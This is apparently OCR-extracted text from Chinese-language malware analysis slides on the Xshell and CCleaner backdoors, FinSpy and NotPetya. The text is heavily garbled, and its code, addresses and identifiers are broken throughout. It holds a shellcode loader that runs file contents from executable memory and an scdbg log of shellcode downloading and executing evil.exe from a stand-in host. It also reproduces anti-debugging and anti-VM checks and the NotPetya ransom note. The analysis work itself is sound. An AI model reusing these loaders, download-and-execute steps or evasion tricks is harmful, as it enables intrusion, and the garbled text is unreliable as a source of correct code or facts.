MakeDword (@xFFFFF2200398 .Eu. ) o ij‘_jébjﬁ‘?z EI/(J "ET‘I_E:E: K%‘% [\}_E
N i | | et __.I ¥ o J£b ><

"ZwClose™);

MakeName (@xFFFFF2200 ; 28, "KeWaitForSingleObject™);

MakeName (@xFFFFFE8883
MakeDword(@xFFFFF3808308
HdPH”deIﬁ“FFFFFq @B398A22

- A R IDC I A

BYE; AR

a8
]

gyt
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WAER HiE: fireeye XA Hremote lookup I.E
FIDLL, THEAPTA

KO

Y

ZE

=

_LI:

= 5 0

SN e
FRT R

i

E R UL

%% 2 AR

wi]

A

.i

I

I
al

it gsattach

Sl]Z

JL_I‘JI_J\

—

[T
Li
Pav¥
SY

S AFE

SIS AR, ¥T HFremoteLookup. exe, Select PIDUEF

nﬁfﬁﬁ%lgﬁf, ‘zJi%tAllow Remote Queries (port 9000)

Select PID I pid: 32600

Dlls

400000
7300000
7C800000
10000000
F70D0000
FTEFO00D
FIFEDOOOD
R9AE0000
F7C10000
77C00000

A0nNNn

Apl hame or hex

address |getprocaddress

0.093 seconds

C:\Program Files\Moazilla Firefox\firefox. exe
C:AWINDOWS \system324ntdll dll
C:NWINDOWS \spetern32hkermel 32 dll
C:\Program Files\Moazilla Firefox\mozglue. d
C:AWINDOWS\eystern32WaDVARI 32 dI
C:MWINDOWS \systern32ARPCRT 4.dll
C:NWINDODW S hsystern3Zhaecur32 dll
C:NWINDOWS \system32dbghelp.dll
C:NWINDODWS spstem32hmevert. dll
C:WWINDODWS \spstern32YWERSION. Al

T Drmmr =mrn Cil=nb kd =il = Cirmfmadh RAC DA AN Al

Result |/CB0AE40 , GetProcAddiess . 409 |, kemel32. dll

[ Allow Remote Queries (port 9000)

b

S



»

VA
T

e
O
—v
\\\\\\
T
L
10
L

2 7—?3‘51% Pz s py thon AR ], THEEAE I, R
EI,(JAP]:]\ /\\\ ’ E%TU}J:'T)\*J_L EjremOteLOOkup. exe, )I%" 'H'h:l.lzﬂ;l;?:-.ﬁu...-;q_.;..-.l:.._.-._1..-..;

N ‘ﬂ: EE] : \ addres:-ﬂwcrdls:arn+;}
3 [ ) 5 SR A J9 TDAF (371
- enn:l-: :art+':- 3]
idc.MakeCode (start)
idec.MakeCode (start+0x5)
ide.MakeCode (2tarc+ix7)
jide . MakeFunccion (scarc,and)
addr=ascy (hex (address) )
addr=addzx[2:10]
remote.attach (' XahellCore®)
if remote.reaclve (addr):
result=remaore ., responss
1if result.find("Exrroz™)==-1 o resulc.find("Win3ZE::
result=result.replace(” ',"")
Namesresult.split("', "}y [1]+"0"
print scartc
print Name
if liscs.count (Mame) >0:
Hame=result.split(", '} [1]+atZ (tmE)
tmp=tmp+1
liaca,append (Hams)
ide. MakeNams (starc, Hame)
else:
print result

GetProcAddress proc near
maov eaN,
neg eax
jmp eax

fEEBBB:Blﬁcﬁﬂﬂl sub 16C6881 proc near ; CODE XREF: sub 16C1C3943CtTp
mov '
neg eax
jmp eax
GetProcAddress
febﬂﬂﬂ.ﬂlhthﬂﬂb

ruh_lECEﬂEl

I

m
%%
CN-N-
o o
i
i
[

1}

[}
m

CODE XREF:
A4CFBBE%h,
15DBBB48h,
@FB2FBBESh,
6567B875h,
@DCCABBESh,
@B2C4B875h,
458CB848h,
1631B8E&h,
BE1EGBE48h,
217BBEFFh,
&7B7B8EYh,
67DDBBE%N,
3DFBBBE%h,
JE72B8FFh,
@D153B8FFh,
835 EEhaJhJ

3

___.EthhEEE

386 :81o0Ce88E8 ; SUBROUTTIN
BEa :aleCoaab

BEa :aleCoaab

288 :816C68BE GetModuleHandleA proc near

geea :8leCobab

gaea ::8leCoBab mov eax, B837F48CFh
egeaa:eleCoale neg eax

EPe8 : 81606012 jmp

egBaa:816C6812 GetModuleHandleA endp

Eﬂﬂﬂ:ﬂlﬁfﬁﬂlz

L

b4hEHFFh
JBFFEBFFh
37Ch, @BBFFE@FFh
i 7Fh, EEEFFEHFFh
i 7Fh,
i 79h,

ca
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:
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2888 :81eCoals
288 :81eCoals
___:915£Eﬁ15 lstrcmpi proc near
Mo eax,
neg eax
jmp eax
lstrcmpi endp
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]

else:
print "Failed: " 4 remote,rssponse
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AP/ “F4F & fiff 2

SystemFunction036@E@TEETEE11044 import socket
AllocatelocallyUniqueId5tub@E@@TEETE£110a4
AllocatelocallyUniqueId@RETELETEE110ac
bddiunditiccesshceStubfERTELTEE110c0
Lddbudithccesshce@E@R@TELETE£110e4
Eub_TFFTFFIlllE@@@Tffofllllﬂ

GetCurrentHwProfileWEERRTEETEE£11150

import traceback

fp=open ("D:\\lookup.Lxk

REnumDependentServicesWERRTELTEE113 0
EnumDependentServicesWEERTEETEL11440
LoecProvphllocateProviderList@@@TEETEL11570
boccProvpLoadProviderDef@ERTEETEE117d0
boccProvpGetProviderCapabilities@EETELETEE118a0
__imp load CryptGenKey@EETLf7ff119%a8

from idaapi import *
while startc<0x577044:

tmp=_L
addrezs=Cword(startc+2)

from ctypes import *

ea=BeginkEL()

e T Y

end==tart4+0x10

idc .MakeCode (start)
idec.HMakeCode (ztart+0x4)
idc.MakeCode (ztart+0xD)
idec.MakeFunction(=start,end)

CryptGenKeyStubBERT7EET7ff119bc
CryptGenEeyEBRTELTEf119c4

__imp load LogonUserExExWEEETEL£7£fl1%cc
LookupPrivilegeValuef@ERTEETEE11a00
BuildExplicithccessWithNameWEAETEETEE11acO
BuildTrusteeWithNameWRAERTELTEE11af0

= Y __imp load CryptVerifySignatureW@@BRTIf7f£f11b08
TLF: HXAP I ;g %/ \ %D :[:H_j, :[:JJ: IsValidRelativeSecurityDescriptor 1@@ETEL£7ffllbec
EventAccessControl@@ETEETEL£11c10
EtwpSetOrAddhce@@@TEETE£11c60
EtwpChangePrivs@@RTE£TE££11eb0
EventiccessQuery@E@TEETEE12020
EtwpGuidToStringB@@TEETEE12170

EH txt S HTREAR I F B A

for funcea in Functions(S5egS5Start (ea) ,SegEnd(ea)) :
functionMName=GetFunctionName (funcea)
"n"% (functionlame , hex (funcea)))

Ff.write("%=
f.claose ()

target=hex (addres=ss) [2:-1]
print target
for line in fp:

if line.find(target) l=1:

print start,line.split("EEE") [0]+'"X"

P ) P
g ] 1=5F1

idc . .MakeName (start,line.split ("2 [O]+"X")
break




RtlAllocateHeap proc near
mov rax, @FFFFFFFF8715CCHBh
neg rax
jmp rax

RtlAllocateHeap endp

rax, BFFFFFFFFE8715CCEBh
Fax

s I s
[ I I %
i I I s

db @E8h, 43h, @B8h, @B2h, @CFh, 2Bh, &7h
; CODE XREF: sub 5738684Dtp
; sub 573@9@+91tp
ABDBF7ABFFFFFFFFh, 2BCFO9@BB4B8FFE@FFh,
CODE XREF: sub 573
F43h, JA4BFFFFFFFFE72Bh,
al 75E@FF43D3F7h, @
F74 FFB718ACBBBEh, @
a6 8F748FFFFh, @
'BBB43FFEGh, ABDEF748
FF87h, eDB4BB5434

SUBROUTINE
BD230BE4848EQF

48FFFFFFFF872

48FFE@FF48D
BFFFF872CAS
BFFABDEF748
2BCAS@BB4875EGFFh, @
@F748FFFFFFFFE715h,

BB4BESE@FF48DEF7h,

FFFFF872BD@80Esh,

GetProcessHeapStubxdL proc near ; CODE XREF: sub 573
; sub 573898491p
mov rax, @FFFFFFFF872BCFB@h
neg rax
jmp rax
GetProcessHeapStubxdL endp

M Ca = M
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JA8FFh, BFFFF872
ABEBh, BFFASDBF7ASFF
FFFFFh, 2C8F9BBB4348EBFFh
FF48h, BF748FFFFFFFFE72Bh
Ah, BBB437S5E@FF48DEF7h
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HeapFreexdL proc near 3y CODE XREF:
mov rax, BFFFFFFFF872BCF9@h
neg rax
jmp rax
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[ s e |

Mm =

BB4875E@GFF4BD38h
FFFFFFF372BCA18h
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HeapFreexdL
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db 48h ;

SUBRODUTINMNE
aldechartomulti db

oY

db 6Eh ; n
align 4@éh
ends

GetLastErrorStubxdddL proc near ; CODE XREF: sub 571A3
; sub S571A38+428Btp
mov rax, BFFFFFFFF872BD23@h
neg rax
jmp rax
GetlLastErrorStubxdddl end

5 5 5
55 5
[ s e |

end

Z I



1/ SRR AL/ D A R

Rty

e,

ccleaner/gl]

W RIHHAR, BT sleepZ SKIOMPIH S0 e
BB A IRA I TP HLE FIN B 60 1A ﬁmhi:ﬂw
AT 1], SEBR A Tsleep. i

irr1t __cdecl sub 17A2407(int al) /\‘/27’}":}\1/_: HH Eﬁdll

L

int vl1; /f esi
char v3; // [esp+dh] [ebp-18@h]

JEexti18@lC223 ; wo coecl sub 1B81C22
Eexti1001C223 sub I.BEIE"'"'] proc mnear
Stext:1881C223 mov off_leazg2le, -n-f'F..-El:
JEexk s 1eaiC 22D retn

LEext: 10810220 sub 1821C223 endp

LLext:lealfazh

Kextr1odiCazE | . . .

Lext 1ol push esi

Lext 1112 F moY esi, [esp+l]
LAext:1oa1C233 push edi
Lextilali 34 i

st 1all 236 12430
Lextileall 238 esi, 10908H

vl = j _IcmpCreateFile@();
if ( vl == -1 )
return Sleep@(1888 * z1);
j_IcmpSendEcho@(vl, 224, &3, 16, @, &3, 44, 1868 * z31);
return j_IcmpCloseHandle@®{v1);
¥

LTextileali el S00aah

LJdextileall 246 g a
Ltext: 1081248 dword ptr [esi+@Fah])

— RSN RN AN B R S AR B AR A -
){_i )ﬁ = l 3} | £X QAP H I L ‘é‘i“ o E ::m::::;t;"i jnz :f:;l:egic_lfﬂl}.[ﬁg
HERBENERERALL BEIES LA EEE OB
Il N/ ) | R Jeext: 18a1C256 F
L LN 1 I% dl 1 A > A= text: 18010257 fhort loc_1001C276

Leext:10e1C3%9 loc 1OBIC259:

SHEBENTR. B KBS —
My BT L I ECF A4 R L]

L4




S/ SR UL/ DR 1

Xshell)51]
oxCCM)”J

; CODE XREF:

eax
[ebpt+var 38]
[ebptvar 28]

ebx, eax

ebx, ebx

loc FB24

byte ptr [ebx], &CCh

eax, 16C31D4h
ecx, [esp+3Bht+var 38)] ; Load Effective Address

sub F52B+45AT7

decode 3 Wireshark-is-running-{9CA73EEA-EA4D-4496-9248-FCB1FCEF464E }

dword ptr [eax+:]

sub 1601334 ; Call Procedure

ecx

esi, [esp+3Bh+var 38] ; Load Effective
; Call Procedure

ecx, [esp+38h+var 28] ; Load Effec Address

decode 3 Wireshark-is-runnin —1HEA?bEEA EA4D-4496-9248-FCBLFCEF464E |

dword ptr [eax+:]

sub 1601334 ; Call Procedure

ecx

esi, [esp+3Bh+var 28] ; Load Effective Address
free : Call Procedure

eax, 16C3254h

ecx, [esp+3Bht+var 18] ; Load Effective Address

decode 3 Wireshark-is runnlnE 19CA7BEEA-EA4D-4490-9248-FCALFCEF464E |

WinDbg, Regmon, FileMon, IsDebuggerPresentZfu il

if ( 'latrcmpl @(&v14, vB)

] (2 =1
ACF:AEV = decode(@x16C3168, (int)&v17),
v1e = WideCharToMultiByte((int)ACPoASM),
I 1strcmpi O(&v14, v1a))

| (2 = 31,
WinDbgFrame(Class = decode(@x16C3174, (int)&v15),
vl2 = HldECharTnHultlEytE[{1n+}._nEL:--ﬂluLLa::},
v21l = @,

lstrempi B(&v14, w12)) )

Regmon = decode(2386764@, (int)&v4);
TerminateProcess 1(Regmon[2]);
frEE[[lnfjﬂ 4%;

FileMon = decode(23867656, (int)&vS);
TEleﬂEtEPFﬂCESS _A({FileMon[2]);
free((int)&v5);

ProcmonDebuglogger = decode(2386767
TerminateProce [F'::1 nDebuglogger(.
free({int)&vic);

NTICE = decode(23867788, (int)&v7);
TerminateProcess 1(NTICE[2]);
free({int)&v7);

Sleep @(1668);

Iz EHLH“gE"'E:_n_ decode(23867784, (int)&v10);
= HldEEharTnHultlEytE[[lr LYIsDebugger F'::En:};
elbase = decode(23867888, (int)&v20
HldetharTnHultlEytE[[1n+}"'nP

GetModuleHandleA 8(v4
= GetProcAddress(vs);

£)&uE);

2,
=

(3

in
1);



R/ SR AUAL/ SR BOR
SO R AR A

¥ illvmmemetl, vmmouse, vmusbmouse, vmxnet, vmscsiZEIXBN & EFINL:

Decodestring s Ymmouse
rcx, [rax+18h]

sub_ 57288C

eax, eax

loc 57233F

rd=, unk 575408

rcx, [rsp+HBCEBh+var A8
r8d, FLCA356ChH

ebx, [

DecodeString z vmusbmouse
rcx, [rax+18h]

sub_ S57288C

eax, eax

short loc 57233F

rdx, quord S57S54ES8

FCcxX, [rsp+HBCEh+var LB
r8d, 991CBFEBEhD

ebx, BOFh

DecodeString ; umxnet
Fcx, [rax+18h]

sub_ 57288C

eax, eax

short loc 57233F

rd=x, unk 5754F8

rcx, [rsp+BCEBh+uvar 88]
F8d, 19DED9EDhH

ebx, 1Fh

DecodeString ; vmscsi
rcx, [rax+18h]

sub_ S57288C




shellcode#r¥5 1Y

N ZXshell G T shellcodel (Loadersl4y) HAT I FE

FHig=sn , ## HE[P]
SRR TEEE Shellcode A
ERiERY=A] ]

EH FEAU B o
Kernel32E #HFE Elilﬂ

2l

B21FF598 L1 inc kerneld?.
A21FF599(.. E9 9F 8500808 il 821FFB3D
B21FF59E 8B43 2C mou .
B21FF5A1 8B7u418 78 mou .
B21FF5A5 897D DB mov dword ptr ss:[ebp-8x28],
B21FF5A8 897D EB mov dword ptyr ss:I[ebp-8x28],
821FF5AB 897D FC mov dword ptr ss:[ebp-8x4],
BZ21FF5AE 897D DC mov dword ptr ss:i[ebp-8x24],
A21FF5B1 A3F3 add . kerneld?2.
B21FF5B3|.. 78 83 i} short B821FF5B8
B21FF5B5 (.. 71 1 jul short BZ21FFS5BE
B21FF5B7 |- E9 BBu4G62083 iy 85483C47
A21FFS5BC C3
8945 EC mou dword ptr ss:[ebp-8x14], kernel32.
A21FF5CHA fB 83 jlili short BZ21FF5C5
B21FF5C2 A M ilil2 short B21FF5C5
B21FF5C4 E8 897DF839 call 3C187352
@21FF5C9|.. /E 18 jpfz chort B21FF5E3
A21FF5CEB|.. BFSE 9EBQ08B009 B21FFG66F
L N s =
X1




shellcodeZ #T+5 5

NEODL FunShellCode (char #filePath)

HoMDLE pFile;
DWOERED fileiSize;
char *buffer, #*tmpBuf;
DWOERED dwBwvtezsFEead, dwhvtezToRead, tmplLen;
pFile = CreateFile(fileFPath, GENEERIC EEAD,
FILE SHARE EEAD,
NULL,
OFEN_EXISTING,
FILE_HTTEIEUTE_HGRHHL,
NULL) ;

¥ F LoaderiN#ishellcodei 4T 20 #T it (MBiTe —= TNVALTD HANDLE VALUE)

I
L

printf (“"open file error!in”);
ClozeHandle (pFile) ;
return FALSE;

shellcodeX N2 — > 3 R s 1 20 Hs B, ST

filesize = GetFileSize(pFile,

N S — - s waffer = ::n::':-" 5 oc -' E'.E:ZE'
}iﬁ U\Z_‘ Tﬁt—[’)—i‘ ‘t :ljJI: jﬁﬂ;ﬂg/fj“, I:L w\'—‘%—‘ ]:sz'zl'f[zmcnrj:'I;:;j:?f;rl:jnit]"-ile:;i-:.;i};1 |

dwBvwtezToEead = fileiize;

NMa] B Loader il #k shellcodes dvBytesRead = 0.

tmpEuf = bu fE- r;
|j_|| 1

EeadFile (pFile, tmpBuf, dwbBvtesToRead, &dwEvteszBRead,
if (dwEvtezRead == 0)
breal;

dwBvteszToEead —= dwbBvtesEead;

tmpEuf += dwBvteszEead;
1 while {(dwBvtesToRead > 0);
LPVOID address = &buffer;
Virtualalloc (NUOLL, 0xF0O000, MEM _EESEEVE | MEM _COMMIT, FPAGE EXECUTE EEADWREITED ;
WriteProcessMemorv (GetCurrentProcess(), addreszs, buffer, fileSize, MNILL) ;
mycall = (wirus) ((DWOED) addres=s + 0xF1845) ;
mycall () ;
ClozeHandle (pFile) ;
return TEUE ;



swscdbg*scdbg —f download.sc
Loaded 153 bytes from file download.sc
Initilization Complete..

ax Steps: 28080088

zing bhase uff%Et: Hx481 8800

481 84 h LuadLiﬂ;aPyH(urlmun}
19187a GetTempPath<{len=184, buf=12fced)> = 8
4918h2 URLDownloadToFile{http:-/sbhlahblah.coms/evil.exeB, d:stempdEblY.exel

4818bd WinExec<{d:“temp“~dEbW.exe
4818ch ExitProcess<1952201316>

Stepcount 380H4A

swascdbg




finspy

def ev_ana_insn{self, insn):
bl = idaapi.get byte(insn.ea)
if bl »>= @8x78 and bl <= @x7F:
= idaapi.get_byte(insn.
idaapi.get _bytel(insn.

.. g2t _byte(insn.ea+3

CODE XREF: .text:0848135D7j _ . o ,
.text:0e4@13BAT] ... 1 b3 1 ™ @8x@l and dl1-2 d2: ; CODE XREF: .text:@e48135Dt

loc_kB1C27 ideapi.put_byte{insn.ea, @xEB) ; -text:@@4813BAT]

loc 4B1C27 - )

idaapi.put_word{insn.ea+2, @x9998)
dd GFCFBGAFER
db 7 dup(98h
elif bl p(98h)

L e L ' " 1= il
loc_401968: CODE XREF: .text:004819FE)] e | dd @FCFBGAFEh
— - .get_byte(insn.
-text-004B81ABL )] ;
eax, [esp+BCh] ] ' 1.get_long(insn.
near ptr loc 481DBS5+1

4t} i
o o
| |
[ ] (B8]

I
o
i
i ]

1.get_byte(insn.

near ptr loc_481DB5+1 daa ; . CODE XREF:

i
o
|
|

short near ptr loc 401980+1 ' ' 1.get_byte(insn.
; CODE XREF: .text:loc_L4B1F47|j

byte ptyr [eax+BFA080030], 81h

far ptr EERSHESESROREHSH Lf b2 %@F and bl_1 * @x@1 == b2_1 and d1-5

eax, [esp+olh]
loc_481DB6

Ca
L

1.get_long(insn.

i
o
|

loc_461988: CODE XREF: .text:@8o4819707 idaapi.put_byte{insn. BxED)

-text:BB4B1EDBL] ... idaapi.put_long{insn.

eax, S918508Fh . . y
ldaapli.put_byte{insn.

idaapi.put_word{insn.

idaapi.put_long(insn.




finspy

RN RS 1Y B R RAT I, 2 HRAE R 50 0 7 BT /R 7] (FIHANDL E K 5 AR ST 45
fE.

ESET, ﬁ%&é}ﬁ( e 2] 1 o 22 MR AT ) 25 1 AT I 1E 20 HA A A A 25

eax
eax, [eax-148h]
[edi+4AEDE7DSh], eax ; MOV [EDI+6], EAX
: MOV EAX, 483fea
word ptr [edi+4AEDE7DSh], OEBFFh ; JMP EAX

al, [ecx] ; Load one byte from the npcnde_"
[edi+4AEDE7CFh], al ; Store the first byte I

me eax, [ebx+2(h] ; Load the previous ESP
edi, [edi+4AEDE7CFh] ; Deobfuscate EDI S ; U0azZ0034
i 15 - 3L L & EI clCc
dword ptr [eax] ; PL:H the E;ﬁ:umus EFLAGS 00220093 bBOf9 5 g al 0FSh
LS. the. T aps 00220095 b8ea3d3300 Mo eax,of fset dropper+0x3déa (00333dea)
edi ; 6o to the extracted code 0022009 ffe=0 ' =ax
: 002200% ppazopsf ' “push  OBOFB0ZEER ]
; JMP @2 F8 BO F9 <-- Placeholder ||0022009d S

" 1 = = ok o 'I_I = F 5 =
; MOV EAX, VmlbDispatcher D0a20095 : 2 mosw max, of tsat dropper+0x3déa (003
+ JMP EAX 00=2200%9a £f jmp EaE (—].
ret

Jmp to VmJbDispatcher

SRR .- = pE | SRS

A ML AT I AE

R




He — 285 Bl oA i) R AT IR

IDARFRFIR 2, W2 EWA —L0 4, HAFSIFAE RXKIEM. T2 17ESLE A 1
F HAN X Ttﬁ%/\iFﬁ&;kjFﬁ% 1 B — ib%é#:=
1. https://github. com/REhints/HexRaysCodeXplorer: H z{CHY B K13

2. https://github. com/keystone—engine/keypatch: J7{ESEL 35| S

(U1

111

2 WS Dhie

b )

3. https://github. com/vrtadmin/FIRST-plugin—-ida: RIP\ME T E

4. https://bitbucket. org/daniel plohmann/simplifire. idascope: MSDN Y 5 26 3 £ 1A
5. https://www. zynamics. com/bindiff. html: ELEZ DB EN G I BE

i 44 R A —AAPTR A Bask % 215 N HIAPTH] pR 2L

LU-HL

6. https://github. com/alext/auto re: HZBJHET

7. https://github. com/devttys0/ida: —Y83E5 A FHHI IDATE A A0 JEI A

8. https://github. com/bruce30262/TWindbg: fFwindbgH #&Ht—NZ{LIPEDARY LI




x

¥ J%EEEEE'EE%H (0:2c000007E) = 1HRE “IRE " F A
A

il o

— — e e — — e —

push
HOTEPAD . 81881898

— T —— —

8188739F( . 68 9818880M

818873A4| . ES BF@10080 |call NOTEPAD.G81807568

81887309
81887308
g818873AC
81887382
8108687384
81887389
81887388
818873BE
g18873CAH
81887 3C6
818873C8
81887 3CC
81887301
81887303
818873D8
818873DA
8188720D
818873DF
81887 3E6
818873E8
818873ER
818873F8
818873F2
B18873F6

33DB
53

8B3D CC10888

FFD?¥

- 668138 4D5A
-. 5 1F

8Bu48 3C
H3C8

- 8139 584508088
- 5% 12

BFB741 18

. 4D BBB18888
-. 4 1F
- 3D BBBZ0008
-. 4 B85

895D E4

.. EB 27
8389 8480088
. ¥6 F2

33C8

- 3999 FEQO000
-. EB BE

8379 74 BE

76 E2

#0r ebx,ebx
ebx

mov edi,dword ptr ds:[<&KERHEL32 .GetHod

gall cai

cmp word ptr ds:[eax],B8=25A4D
i short HOTEPAD.®1@873DA

mov ecx,dword pty ds:[eax+8x3C]
add ecx,eax

cmp dword ptr ds:[ecx],8x4558
HiE short NOTEPAD.@18673DA
movzx eax,word ptr ds:[ecx+8x18]
cmp eax,d:=168

. short HOTEPAD.B18873F2

cmp eax,B=20B

. short HOTEPAD.B18873DF

mov dword ptr ss:i[ebp-8z1C],ebx
Hi! short NOTEPAD.@1807406

cmp dword ptr ds:[ecx+8x84],8xE
i short HOTEPAD.@186873DA

X0F eax,eax

cmp dword ptyr ds:[ecx+8zF8],ebx
] short HOTEPAD.81887480

cmp dword ptyr ds:[ecx+8z74],8=E
i short NOTEPAD.@18873DA

kernel3? .GetHoduleHandleh

[pﬂudule =
GetHoduleHandlend

kerneld? .BaseThreadInitThunk

kerneld? .BaseThreadInitThunk

g18130888
Ag1a138m
18130883
g1a813885
a1a13887
181308089
1813 808F
1813818
a1e13ey
a181381A
a181301B
a1e13ec
a1e13e1D
181381k
1813 81F
1813828
1813823
81813824
8181382
81813828
1813 82c
1813 82D
81813 82E

g1e13838(-

SBELC

6A FF

6A B84

6A B84

64:A1 BBBB0BAO0
e

64:8925 800000
83EC 4%

53

Lh

57

58

58

=1

83C4 44

=1

64:A3 B08066060
=1

=1

58

58

SBES

E? 6843FFFF

mov ebp,esp

-8z

=8

=8
eax,dword ptr fs:i[8]
eax
dword pty fs:[8],esp
esp, Bx4lh

ebx

esi

edi
eax
eax
eax
esp, 844
eax
dword ptr fs:I[8],eax
eax
eax
eax
eax
ebp,eax
HOTEPAD . 8188739D

kernel3? _BaseThreadInitThunk

kerneld2.76CE343D
kerneld2.76CE343D
kernel32.76CE343D

kernel3d? . ¥6CE343D
kernel3?.BaseThreadInitThunk
kernel3d? . ¥6CE343D
kernel3d? . ¥6CE343D
kernel3d? . ¥6GCE343D
kernel3d? . ¥6GCE343D
kernel3? .BaseThreadInitThunk




8188739D

a188s3n2 |, 77 71 short notepad .81887415
81887304 54 esp

818873A5 ed 5d98be?1 3 - Far 6ef3d:91be285d

818873AC 8559 BLG test dword pty ds:[ecx-8x7/B],ebx

818873aF 35 FADB9DSV Xor eax,d8x579DDEFA
8188739D push

8188739F 68 98188801 HOTEPAD. 81881898

818873A4 ES BFO18808 - HOTEPAD. 81887568

B18873A9 J3DB xor ebx,ebx

818873AB 53 ebx

818873AC 8B3D CC10868 mov edi,dword pty ds:[<&KERHEL3Z .GetHod
61007382 FFD7 call edi

81887384 66:8138 4DSA|cmp word pty ds:|eax],Hx5A4D

81887384 08 cude

81887385 37 aaad

01887386 2022244 4F DA and al,byte ptr es:[esi+ecx*2-0x2F]
81887366 94 Xxchg eax,esp

818873BC D331 sal dword ptr ds:[ecx],cl

81887 3BE B8 7BCDDBL2 mov eax, Bx4208C076

g18873C3 91 ¥xchg eax,ecx

010087389 .. 75 1F IE short HOTEPAD.B818873DA
81887368 SB48 3C mov ecx,dword ptyr ds:[eax+8x3(] push

B18166C2 9Cc

B18166C3 818424 BAGIO00A add dword pty ss:[esp],8z630A
B18166CA 83EC a4 sub esp,O=h

818166CD |, E9 A4OAOQO0 I} notepad_.81816776
g18166D2 el Aad in al, @xd

g18166D04 8726 ¥chg dword ptr ds:[esi],esp

818873BE H3CHB add ecx,eaX

H18873CH 8139 5845888 cmp dword ptr ds:|ecx],B8x4550
8180873C6| ., 75 12 IE short HOTEPAD.B818873DA
g10873C8 BFB741 18 movzx eaxX,word ptr ds:-[ecx+8x18]
81887 3CC 30 BEB18888 |cmp eax, =108

B18166D6 Lh esl

1816607 BEDA or edx,eax

A18166D9 cl63 91 77 shl dword ptyr ds:[ebx-8x6f],8x7/7
A181660D 64:F8:c1a5 ed9993FfF

B18166E6 L9 dec ecx
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int start()
{
HMODULE
int vi; //
int v2; ff
int v3; /J e
bool w4; //
_BYTE *v5; [/ esi
signed int ve; // =ax

int v7; ff 5T28 4

HMODULE vg; // =ax

int vo; [/ eax o .

int vie; // esi Decompilation failure:

struct _STARTUPINFOA StartupInfo; // [esp+Ch] [ebp-82h] . T 10166C0 function frame ic wrong

int vi3; // [esp+58h] [ebp-3Ch] '

int vi4; // [esp#54h] [ebp-38h]

char vi5; // [esp+58h] [ebp-34h] Please refer to the manual to find approprate actions
char vie; [/ [esp+5Ch] [ebp-38h]

char vi7; // [esp+&@h] [ebp-2Ch] [:Iﬂﬂth di=play thi= mez=zage again (for this session only)
int vig; // [esp+eEh] [ebp-24h]

_BYTE *v19; // [esp+&Ch] [ebp-28h]

int v2e; /! [esp+7éh] [ebp-1Ch]

CPPEH_RECORD ms_exc; ff [esp+74h] [ebp-18h]

ve = GetModuleHandleAa(e);
if ( *( _WORD *)ve 1= 23117 )
goto LABEL_5;
vl = (1nt)ve + *(({_DWORD *)vé + 15);
if ( *(_DWoRD =)vl 1= 17744 )
goto LABEL_S;
v2 = ¥lunsigned _ intle *)(vl + 24),;
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The harddisks of your computer have been encrypted with an military grade
encryption algorithm. There is no way to restore your data without a special
key. You can purchase this key on the darknet page shown in step 2.

To purchase your key and restore your data, please follow these three easy

steps.:

1. Download the Tor Browser at "https://www.torproject.orgrs". If you need
help, please google for "access onion page’.
£Z. Visit one of the following pages with the Tor Browser:

http:sspetya3?h5Stbhyvki .onions
http:rsspetyaSkoahtsf?sv.onions

3. Enter your personal decryption code there:

68BRmMME-YcVEou-Ux?gfd-R65k6b-ZBGNgz-CR1HH-kHrSPY-861t60-4rbWMB-YZh5J i~

£3QpiS-BgNAWH-CFXuQ2-yb?pzJ-udBEzo

If you already purchased your key, please enter

Key:

X ipetyall B G ToVA L

—a
N
L&

it below.

ALz,

T

Je )



/{ “expand 32-byte k _
/T —1nvalid s3ct—id”
{ 0=2D ,0=31 . 0=6E ,0x76 },
{ 0=61 , 0=6C , 0=69 ,0x64 |,

{ 020 ,0x73 ,0=33 .0x63 }.
{ 0=74 ,0=2D , 0=69 , 0x64 }
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uint3Z €t =220 litctleendian{uintg t ¥*b)

return b([C] +

((uint fastclé t) b[l1] << )
((uint fast322 t) b[2] <<
({uint fastiz tT) bl>] <<

JF V520 littleendiantf %k

FEAS R R A 2 A L R SRR B R, (HIE
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354
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ss2CisNotPetyasGrack _NotPetya_Salsadl,.exe
enerate random ivibdhit)>: 152D7BA2ZB6H1BFF4

enerate random password{(256bit>: 66DE1ABDBEZBCY6ELIM6YVE718D512CD59DERL6 E6AEFR4C
A1 FA72CDAGDADDAG CF

generate random data<ilB@HB>, CRC: S5CA2Z65AR

ncrypting ...
RC of encrypted data: Z25BD?512

Jecrypting. . .
RC of decrypted data: SCAZ65AR
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1. https://cert. 360. cn
2. http://www. freebuf. com

3. https://www. welivesecurity. com

4. https://cloudblogs. microsoft. com —
5. https://www. fireeye. com/blog. html
6. http://researchcenter. paloal tonetworks. com

7. http://www. msreverseengineering. com/research
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